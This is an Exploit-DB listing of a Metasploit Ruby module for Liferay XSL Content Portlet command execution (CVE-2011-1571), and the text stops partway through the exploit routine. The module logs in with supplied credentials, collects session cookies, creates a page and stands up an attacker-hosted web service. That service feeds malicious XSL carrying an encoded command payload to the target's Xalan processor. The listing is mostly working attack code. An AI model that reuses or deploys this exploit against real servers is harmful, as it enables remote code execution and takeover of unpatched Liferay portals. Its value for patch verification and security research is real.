Exploit-DB #18715
Description: Liferay XSL - Command Execution (Metasploit)
Type: webapps
Platform: multiple
Date: 2012-04-08
Author: Spencer McIntyre

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'active_support/json'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Liferay XSL Command Execution',
			'Description'    => %q{
			This module exploits a vulnerability in the XSL parser of the
			XSL Content Portlet.  When Tomcat is present, arbitrary code
			can be executed via java calls in the data fed to the Xalan
			XSLT processor. If XSLPAGE is defined, the user must have rights
			to change the content of that page (to add a new XSL portlet),
			otherwise it can be left blank and a new one will be created.
			The second method however, requires administrative privileges.
			},
			'Author'	=> 
				[
					# SecureState R&I Team - Special Thanks To Jake Garlie, Chris Murrey
					'Spencer McIntyre',
					'SecureState R&I Team',	# SecureState Research and Innovation Team
					'Nicolas Gregoire',	# authored the vulnerability details provided in the wiki
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'CVE', '2011-1571' ],
					[ 'URL', 'http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay' ],
				],
			'Privileged'     => false,
			'Platform'    => [ 'win', 'linux', 'unix' ],
			'Stance'      => Msf::Exploit::Stance::Aggressive,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
						}
				},
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					[ 'Automatic',						{ 'groupid' => 0,	'pauth' => false } ],
					[ 'Liferay 5.2.3 (Tomcat/JBoss)',	{ 'groupid' => 16, 	'pauth' => false } ],
					[ 'Liferay 6.0.0 (Tomcat/JBoss)',	{ 'groupid' => 18, 	'pauth' => false } ],
					[ 'Liferay 6.0.1-6 (Tomcat/JBoss)',	{ 'groupid' => 18, 	'pauth' => true  } ],
				],
			'DisclosureDate' => 'January 12, 2011', # Liferay portal issue # 14726
			'DefaultTarget'  => 0))
		
		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
				OptString.new('XSLPAGE',  [ false, 'Full path to the page to add an XSL portlet to, (default: random)', nil ]),
				OptString.new('PATH',     [ true,  'The URI path of the portal', '/' ]),
			], self.class)
	end
	
	def auto_target(headers)
		print_status("Attempting to automatically select a target...")
		case headers['liferay-portal']
		when /5.2.3/
			return targets[1]
		when /6.0.0/
			return targets[2]
		when /6.0.[1-6]/
			return targets[3]
		end
		return nil
	end

	def exploit
		print_status('Logging in and creating a page to embed XSL Content into...')
		res = send_request_cgi({
			'method'    => 'GET',
			'uri'       => datastore['PATH'] + 'web/guest/home'
		})
		
		mytarget = target
		if (target.name =~ /Automatic/)
			mytarget = auto_target(res.headers)
			if (not mytarget)
				raise RuntimeError, "Unable to automatically select a target"
			end
			print_status("Automatically selected target \"#{mytarget.name}\"")
		else
			print_status("Using manually select target \"#{mytarget.name}\"")
		end
		sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
		cookie = "#{sessionid}; COOKIE_SUPPORT=true"
		
		app_base = rand_text_alphanumeric(8+rand(8))
		new_page = datastore['XSLPAGE'] || rand_text_alphanumeric(8+rand(8))
		malicious_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{app_base}"
		@xsl_data = run_cmd_with_xsl(payload.encoded)	# this is really the data returned for XSL and XML requests
		service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
		print_status("Starting up our web service on #{service_url} ...")
		start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req, 'XSL')
				},
				'Path' => '/' + app_base + '.xsl'
		}})
		start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req, 'XML')
				},
				'Path' => '/' + app_base + '.xml'
		}})
		
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => datastore['PATH'] + 'web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&saveLastPath=0&_58_struts_action=%2Flogin%2Flogin',
			'data'      => "_58_redirect=&_58_rememberMe=false&_58_login=#{Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal')}&_58_password=#{Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')}",
			'cookie'    => cookie
		})
		
		if res.code != 302
			print_error('Login failed.')
			return
		end
		
		cookie = ''
		for cookie_i in [ 'JSESSIONID=', 'LOGIN=', 'SCREEN_NAME=', 'COMPANY_ID=', 'ID=', 'PASSWORD=', 'REMEMBER_ME=' ]
			cookie << cookie_i + res.headers['set-cookie'].split(cookie_i)[1].split('; ')[0] + '; '
		end
		xml_http_request_headers = { 'X-Requested-With' => 'XMLHttpRequest' }

		if datastore['XSLPAGE'] == nil	# the page was not defined, so we try to create a new one
			res = send_request_cgi({
				'method'     => 'POST',
				'uri'        => datastore['PATH'] + 'c/layout_management/update_page',
				'data'       => "mainPath=%2Fc&doAsUserId=&cmd=add&groupId=#{mytarget['groupid']}&privateLayout=false&parentLayoutId=0&name=#{new_page}",
				'cookie'     => cookie,
				'headers'    => xml_http_request_headers,
			})
			if res.code != 200 or res.body == ""
				print_error('Cou